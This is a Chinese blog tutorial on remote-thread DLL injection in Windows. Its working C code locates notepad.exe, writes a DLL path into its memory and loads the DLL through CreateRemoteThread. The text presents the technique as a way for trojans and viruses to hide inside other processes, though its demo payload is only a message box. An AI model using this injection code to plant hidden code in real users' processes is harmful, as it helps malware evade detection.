我是靠谱客的博主 安详月饼,最近开发中收集的这篇文章主要介绍远程线程注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

声明一下:这里的技术在Win10中对于系统的应用例如自带的计算器、(除非是以管理员身份运行程序的)记事本已经不起作用。就是运行程序时候选择以管理员身份运行或者在项目属性-》链接器-》清单文件-》UAC执行级别改成highestavailable就可以注入了。

在dll文件中写一个MessageBox()就会有弹窗出现。

这里的 远程线程,并不是指跨计算机的,而是跨进程的,简单地说就是进程A要在进程B中创建一个线程。

无论是木马或者病毒,如果它们是EXE文件的话,运行时必定会产生一个进程,这样很容易被发现,为了不被发现,在编写病毒或者木马时,可以选择将其编写为DLL文件。DLL文件的运行不会单独创建一个进程,它的运行会被加载到进程的地址空间中,这一样以来,其隐蔽性相对较好。而人家进程本身不会加载额外的DLL文件,所以就需要强制的手段-》远程线程。

 

//注意notepade是64位的程序所以dll文件和下边的程序在编写的时候应该用64位

实现DLL远程注入的主要步骤:

1.通过系统进程快照(获得系统中所有的进程名),和想要注入的已知的进程名称匹配来获得该进程ID(因为后边需要通过ID得到进程句柄)

2.利用上一步获得的目标进程ID打开进程

3.在目标进程内存空间中申请大小为Length的内存空间,Length:  .dll 文件的完整路径长度  我建的DLL文件名称是 DLL.lib

4.将想要注入的DLL文件的完整路径写在目标进程中刚才申请的内存空间内。

5.创建远程线程,执行注入 

(1)得到目标进程的ID:

DWORD GetProcId()
{
	char *TargetProcessName="notepad.exe"; //先要打开记事本
	                                    //或者一个非授信的事件将程序进程阻塞不让进程结束
	BOOL IsOk;
	PROCESSENTRY32 ProcInfo;           //这个结构体的内容包含进程的信息,在下边解释
	//获取当前运行进程快照
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
	//填充该结构体的大小
	ProcInfo.dwSize = sizeof(ProcInfo);
	//得到第一个进程
	IsOk = Process32First(hSnapShot,&ProcInfo);
	
	while (IsOk)
	{

	if (_tcscmp(TargetProcessName, ProcInfo.szExeFile)==0)    //比较是否是目标进程名称
		{
			return ProcInfo.th32ProcessID;            //返回目标进程ID
		}
	//继续获得下一个进程快照
		IsOk = Process32Next(hSnapShot,&ProcInfo);
	}
  return 0;
}

PROCESSENTRY32:   需要包含头文件:# include <Tlhelp32.h>  

typedef struct tagPROCESSENTRY32
{
    DWORD   dwSize;                //结构体大小
    DWORD   cntUsage;              //此进程的引用计数
    DWORD   th32ProcessID;          // 此进程ID
    ULONG_PTR th32DefaultHeapID;     //进程默认堆ID
    DWORD   th32ModuleID;           // 进程模块ID
    DWORD   cntThreads;               //进程开启的线程数
    DWORD   th32ParentProcessID;    // 父进程ID
    LONG    pcPriClassBase;         // 线程优先权
    DWORD   dwFlags;                //保留参数
    CHAR    szExeFile[MAX_PATH];    // 进程名称
} PROCESSENTRY32;

(2)注入DLL

VOID InjectDll(DWORD TargetProcId,char *DllName)
{

        //如果自己的程序时ANSCII就用LoadLibraryA,如果是UNICODE版本就获得LoadLibraryW函数
	char *pFunName = "LoadLibraryA";  //LoadLibrary  是一个宏 而不是一个真正的函数  所以这里要确切的函数地址
	                                                               //指定获取LoadLibraryA的地址还是LoadLibraryW的地址
	
		   //打开目标进程
	HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,TargetProcId);
	if (hTargetProc == NULL)
	{
		return;
	}
	//获得 完整的 DLL文件路径长度
	int DllLength = strlen(DllName)+sizeof(char);    //‘’

	//在目标进程中申请DllLength大小的内存空间
	         //返回值是申请的地址  第二个参数是要申请的位置一般NULL   最后一个参数是内存属性 可读可写
	PVOID pDllAddress = VirtualAllocEx(hTargetProc,NULL,DllLength,MEM_COMMIT,PAGE_READWRITE);

	if (pDllAddress == NULL)
	{
		CloseHandle(hTargetProc);
		return;
	}

	//DWORD ActWriteNum = 0;

	SIZE_T ActWriteNum = 0;

	//将完整的 DLL文件路径写入  目标进程中申请的内存 空间
	WriteProcessMemory(hTargetProc,pDllAddress,DllName,DllLength,&ActWriteNum);

	//获得LoadLibraryA的函数地址

	FARPROC pFunAddress = GetProcAddress(GetModuleHandle("kernel32.dll"),pFunName);

	//创建远程线程
	//等价于 在 目标进程执行 LoadLibraryA("F:\NewDemo\Debug\DLL.dll")  加载该DLL
	HANDLE hRemoteThread = CreateRemoteThread(hTargetProc,NULL,NULL,
		(LPTHREAD_START_ROUTINE)pFunAddress,	pDllAddress,0,0);


	WaitForSingleObject(hRemoteThread,INFINITE);

	CloseHandle(hRemoteThread);
	CloseHandle(hTargetProc);
}

(3)测试:

在dll文件中这样写:

 

 

 

 

操作该注入工程的第三方项目中main函数:

	char *DllName = "F:\NewDemo\Debug\DLL.dll";
	InjectDll(GetProcId(),DllName);

运行后:

 

最后

以上就是安详月饼为你收集整理的远程线程注入的全部内容,希望文章能够帮你解决远程线程注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(49)

评论列表共有 0 条评论

立即
投稿
返回
顶部